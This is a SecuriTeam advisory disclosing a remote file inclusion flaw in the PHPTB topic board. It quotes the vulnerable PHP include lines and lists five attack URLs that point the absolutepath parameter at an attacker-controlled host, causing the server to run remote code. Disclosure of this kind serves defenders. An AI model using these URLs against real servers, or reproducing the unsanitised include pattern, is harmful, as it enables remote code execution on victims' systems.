[UNIX] PHPTB Code Injection Vulnerabilities

The following security advisory is sent to the securiteam mailing list, and can 
be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html 

- - - - - - - - -



  PHPTB Code Injection Vulnerabilities
------------------------------------------------------------------------


SUMMARY

 <http://www.phptb.com/> PHPTB is "an open source portal  / topic board 
system". An input validation flaw in PHPTB code allows malicious attackers 
to cause the server to execute arbitrary code.

DETAILS

The vulnerable code exists in the following files: admin_o.php, 
board_o.php, dev_o.php, file_o.php and tech_o.php:
<?php
include $absolutepath.'classes/smart_o.php';
.. EOF

In dev_o.php and tech_o.php:
..
require $GLOBALS['absolutepath'].'userpass.php';
.. EOF

Examples:
The following URLs can be used to tirgger the vulnerability:
http://[victim]/[dir]/classes/admin_o.php?absolutepath=http://[hacker_box]/
http://[victim]/[dir]/classes/board_o.php?absolutepath=http://[hacker_box]/
http://[victim]/[dir]/classes/dev_o.php?absolutepath=http://[hacker_box]/
http://[victim]/[dir]/classes/file_o.php?absolutepath=http://[hacker_box]/
http://[victim]/[dir]/classes/tech_o.php?absolutepath=http://[hacker_box]/


ADDITIONAL INFORMATION

The information has been provided by  <mailto:goszynskif@xxxxxxxxx> Filip 
Groszy ski.



======================================== 


This bulletin is sent to members of the SecuriTeam mailing list. 
To unsubscribe from the list, send mail with an empty subject line and body to: 
list-unsubscribe@xxxxxxxxxxxxxx 
In order to subscribe to the mailing list, simply forward this email to: 
list-subscribe@xxxxxxxxxxxxxx 


==================== 
==================== 

DISCLAIMER: 
The information in this bulletin is provided "AS IS" without warranty of any 
kind. 
In no event shall we be liable for any damages whatsoever including direct, 
indirect, incidental, consequential, loss of business profits or special 
damages.